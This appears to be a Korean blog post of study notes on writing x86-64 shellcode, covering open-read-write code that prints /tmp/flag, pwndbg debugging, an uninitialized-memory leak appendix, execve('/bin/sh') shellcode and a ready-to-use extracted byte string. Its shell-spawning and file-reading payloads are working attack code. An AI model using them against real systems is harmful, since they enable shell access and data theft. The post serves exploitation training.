티스토리 뷰
orw 셸코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
open | 0x02 | const char *filename | int flags | umode_t mode |
“/tmp/flag”라는 문자열을 메모리에 위치시키는 것을 먼저 해야한다. 이를 위해 스택에 0x616c662f706d742f67(/tmp/flag)를 push하여 위치시키도록 만들 것이다. 하지만 스택에는 8 바이트 단위로만 값을 push할 수 있으므로 0x67를 우선 push한 후, 0x616c662f706d742f를 push한다. 그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮긴다.
O_RDONLY는 0이므로, rsi는 0으로 설정한다.
// https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24
/* File access modes for `open' and `fcntl'. */
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정한다.
마지막으로 rax를 open의 syscall 값인 2로 설정한다.
구현
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
2.read(fd, buf, 0x30)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
syscall의 반환 값은 rax로 저장됩니다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장됩니다. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입한다.
rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다.
read 시스템콜을 호출하기 위해서 rax를 0으로 설정한다.
구현
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
* fd란?
파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장한다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해준다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있다.
프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해준다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있다.
3. write(1, buf, 0x30)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.
rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
write 시스템콜을 호출하기 위해서 rax를 1로 설정한다.
구현
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
이를 모두 종합하면 다음과 같다.
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw 셸코드 컴파일 및 실행
대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다. 윈도우의 PE, 리눅스의 ELF가 대표적인 예이다. ELF(Executable and Linkable Format)는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있다.
우리가 위에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF형식이 아니므로 리눅스에서 실행될 수 없다. 여기서는 gcc 컴파일을 통해 이를 ELF형식으로 변형하겠다.
스켈레톤 코드 예제
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
orw.S
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw.c
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
실행
셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일을 생성한다.
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
orw.c를 컴파일하고, 실행한다.
$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}
셸코드가 성공적으로 실행되어 우리가 저장한 문자열이 출력되는 것을 확인할 수 있다. 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것이다.
그리고 /tmp/flag 의 내용 말고도 몇 자의 알 수 없는 문자열들이 출력되는 경우가 있다. 디버깅을 통해 셸코드의 동작을 살펴보고, 알 수 없는 값들이 출력되는 원인을 알아볼 수 있다.
orw 셸코드 디버깅
orw를 gdb로 열고, run_sh()에 브레이크 포인트를 설정한다.
$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>
run 명령어로 run_sh()의 시작 부분까지 코드를 실행시킨다. 그러면 우리가 작성한 셸코드에 rip가 위치한 것을 확인할 수 있다.
pwndbg> r
Starting program: /home/dreamhack/orw
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000555555555129 in run_sh ()
...
*RIP 0x555555555129 (run_sh) ◂— push 0x67
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x555555555129 <run_sh> push 0x67
0x55555555512b <run_sh+2> movabs rax, 0x616c662f706d742f
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
0x555555555146 <run_sh+29> syscall
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
...
pwndbg>
이제 앞에서 구현한 각 시스템 콜들이 제대로 구현되었나 확인해야 한다.
1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)
첫번째 syscall이 위치한 run_sh+29 브레이크 포인트를 설정한 후 실행하여, 해당 시점에 syscall에 들어가는 인자를 확인해본다.
pwndbg> b *run_sh+29
Breakpoint 2 at 0x555555555146
pwndbg> c
Continuing.
Breakpoint 2, 0x0000555555555146 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x2
RBX 0x0
RCX 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX 0x0
*RDI 0x7fffffffe2f8 ◂— '/tmp/flag'
*RSI 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
► 0x555555555146 <run_sh+29> syscall <SYS_open>
file: 0x7fffffffe2f8 ◂— '/tmp/flag'
oflag: 0x0
vararg: 0x0
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
...
pwndbg 플러그인은 syscall을 호출할 때, 위 결과의 24~27번 라인과 같이 인자를 해석해서 보여준다. 셸코드를 작성할 때 계획했듯이, open(“/tmp/flag”, O_RDONLY, NULL);가 실행됨을 확인할 수 있다.
ni 명령어로 syscall을 실행하고 나면, open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.
pwndbg> ni
0x0000555555555148 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x3
RBX 0x0
*RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x0
RDI 0x7fffffffe2f8 ◂— '/tmp/flag'
RSI 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
0x555555555146 <run_sh+29> syscall
► 0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
...
2.read(fd, buf, 0x30)
마찬가지로 두 번째 syscall이 위치한 run_sh+55에 브레이크 포인트를 설정하고 실행한 후 인자를 살펴본다.
pwndbg> b *run_sh+55
Breakpoint 3 at 0x555555555160
pwndbg> c
Continuing.
Breakpoint 3, 0x0000555555555160 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x0
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX 0x30
*RDI 0x3
*RSI 0x7fffffffe2c8 ◂— 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555148 mov rdi, rax
0x55555555514b mov rsi, rsp
0x55555555514e sub rsi, 0x30
0x555555555152 mov rdx, 0x30
0x555555555159 mov rax, 0
► 0x555555555160 syscall
fd: 0x3 (/tmp/flag)
buf: 0x7fffffffe2c8 ◂— 0x0
nbytes: 0x30
0x555555555162 mov rdi, 1
0x555555555169 mov rax, 1
0x555555555170 syscall
0x555555555172 xor rdi, rdi
0x555555555175 mov rax, 0x3c
...
새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffe2c8에 저장한다.
ni 명령어로 syscall을 실행한다.
pwndbg> ni
0x0000555555555162 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x29
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x30
RDI 0x3
RSI 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
► 0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
0x555555555170 <run_sh+71> syscall
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
0x55555555517c <run_sh+83> syscall
...
위 REGISTERS 부분의 RSI를 통해서 파일의 내용이 0x7fffffffe2c8에 저장되었음을 이미 알 수 있지만, x/s 명령어로도 확인해보자.
pwndbg> x/s 0x7fffffffe2c8
0x7fffffffe2c8: "flag{this_is_open_read_write_shellcode!}\n"
0x7fffffffe2c8에 /tmp/flag의 문자열이 성공적으로 저장된 것을 확인할 수 있다.
3. write(1, buf, 0x30)
마지막으로, 다음은 읽어낸 데이터를 출력하는 write 시스템 콜을 실행하기 직전의 모습이다.
pwndbg> c
Continuing.
Breakpoint 4, 0x0000555555555170 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x1
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x30
*RDI 0x1
RSI 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
► 0x555555555170 <run_sh+71> syscall <SYS_write>
fd: 0x1 (/dev/pts/11)
buf: 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
n: 0x30
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
0x55555555517c <run_sh+83> syscall
0x55555555517e <main> endbr64
0x555555555182 <main+4> push rbp
...
ni 명령어로 실행하면, 데이터를 저장한 0x7fffffffe2c8에서 48바이트를 출력한다.
flag{this_is_open_read_write_shellcode!}
초기화되지 않은 메모리 영역 사용
/tmp/flag의 데이터 외에 알 수 없는 문자열이 출력되는 경우가 있는데, 이는 나중에 배우게 될 초기화되지 않은 메모리 영역 사용에 의한 것이다.
Appendix. Uninitialized Memory
알 수 없는 값이 함께 출력되는 경우, read 시스템 콜을 실행한 직후로 돌아가 원인을 분석해볼 수 있다.
pwndbg>
Continuing.
Breakpoint 3, 0x0000555555555160 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x0
RBX 0x0
*RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX 0x30
*RDI 0x3
*RSI 0x7fffffffe2c8 ◂— 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
► 0x555555555160 <run_sh+55> syscall <SYS_read>
fd: 0x3 (/tmp/flag)
buf: 0x7fffffffe2c8 ◂— 0x0
nbytes: 0x30
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
0x555555555170 <run_sh+71> syscall
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
...
아까와 같이 파일을 읽어서 스택에 저장했습니다. 해당 스택의 영역을 조회해본다.
pwndbg> x/6gx 0x7fffffffe2c8
0x7fffffffe2c8: 0x6968747b67616c66 0x65706f5f73695f73
0x7fffffffe2d8: 0x775f646165725f6e 0x6568735f65746972
0x7fffffffe2e8: 0x7d2165646f636c6c 0x000000000000000a
48바이트 중, 앞의 41바이트만 우리가 저장한 파일의 데이터이고, 마지막 7바이트는 널 바이트로 존재한다. 알 수 없는 값이 출력되는 경우에는 뒤 7바이트가 널 바이트가 아닌 쓰레기 값이 들어 있을 것이다. 쓰레기 값이 나중에 write시스템콜을 수행할 때, 플래그와 함께 출력되는 것이다.
해커의 입장에서 쓰레기 값은 아무 의미 없는 값이 아니다. 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있다. 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 부르는데, 앞으로 배워나갈 보호기법들을 무력화하는 핵심 역할을 한다.
execve 셸코드
셸(Shell, 껍질)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비된다. 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다. 다른 언급없이 셸코드라고 하면 이를 의미하는 경우가 많다.
최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며, 이 외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있다.
execve(“/bin/sh”, null, null)
execve 셸코드는 execve 시스템 콜만으로 구성된다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다. 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, 우리가 실행할 sh도 여기에 저장되어 있다.
따라서 우리는 execve(“/bin/sh”, null, null)을 실행하는 것을 목표로 셸 코드를 작성하면 된다.
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
execve 셸코드 컴파일 및 실행
앞에서 사용한 스켈레톤 코드를 이용하여 execve 셸코드를 컴파일해보면,
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
실행 결과로 sh가 실행된 것을 확인할 수 있다.
이를 디버깅하는 것은 위의 orw셸코드와 동일하다.
objdump 를 이용한 shellcode 추출
아래 주어진 shellcode.asm 에 대해서 이를 바이트 코드로 바꾸는 과정이다.
어셈블리 코드 - shellcode.asm
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
step1-shellcode.o
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
step2-shellcode.bin
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
shellcode string
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
'System Hacking' 카테고리의 다른 글
[Dreamhack] Return to Library (0) | 2024.04.08 |
---|---|
[드림핵] Return Address Overwrite (0) | 2024.03.11 |
helloworld.c 디스어셈블리 (0) | 2024.02.25 |
[드림핵] Tool Installation_gdb, pwntools (0) | 2024.02.25 |
[프로젝트] 악성코드 - 웜 (0) | 2024.02.24 |